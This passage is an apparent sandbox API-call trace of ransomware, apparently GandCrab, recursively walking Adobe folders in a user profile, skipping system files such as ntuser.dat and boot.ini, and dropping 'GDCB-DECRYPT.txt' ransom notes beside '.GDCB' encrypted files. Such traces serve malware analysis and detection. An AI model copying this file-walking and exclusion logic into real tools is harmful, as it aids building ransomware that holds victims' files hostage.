returned 1 [0170.042] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.042] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.042] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.043] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.043] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.043] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 154 [0170.043] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 154 [0170.043] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.043] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.043] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.043] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.043] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.043] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0170.043] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.043] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.043] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 158 [0170.043] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.043] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.044] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.044] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.044] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.044] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.044] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.044] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.044] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.044] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.044] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 174 [0170.044] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.044] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.044] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.044] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.044] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 175 [0170.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.045] GetLastError () returned 0x50 [0170.045] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.045] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 158 [0170.045] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0170.045] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.046] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.046] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.046] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.046] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.046] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.046] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.046] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.046] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0170.046] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.046] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 174 [0170.046] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 174 [0170.046] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 174 [0170.046] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 174 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.046] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.046] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.046] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.046] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.046] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.046] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.046] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.046] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.046] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.047] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 156 [0170.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 156 [0170.047] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.047] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0 [0170.047] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0170.047] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.047] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.047] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.047] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.047] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.047] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 151 [0170.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 151 [0170.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 151 [0170.047] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 151 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.047] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.047] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.048] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0170.048] FindClose (in: hFindFile=0x5a4a18 | out: hFindFile=0x5a4a18) returned 1 [0170.048] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0170.048] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0170.048] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0170.048] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.048] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0170.048] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.048] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.048] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.048] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.048] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.048] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.048] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 135 [0170.048] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.048] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4e98 [0170.048] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.048] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.048] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.048] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.048] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.048] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.049] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.049] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.049] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 137 [0170.049] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0170.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.049] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.049] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.049] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 151 [0170.049] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.049] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0170.049] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.049] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.049] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 152 [0170.049] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.050] GetLastError () returned 0x50 [0170.050] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.050] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 135 [0170.050] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.050] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4a18 [0170.050] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.050] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.050] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.050] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.050] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0170.050] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.050] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.050] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.050] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0170.050] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.051] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.051] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.051] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 138 [0170.051] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application 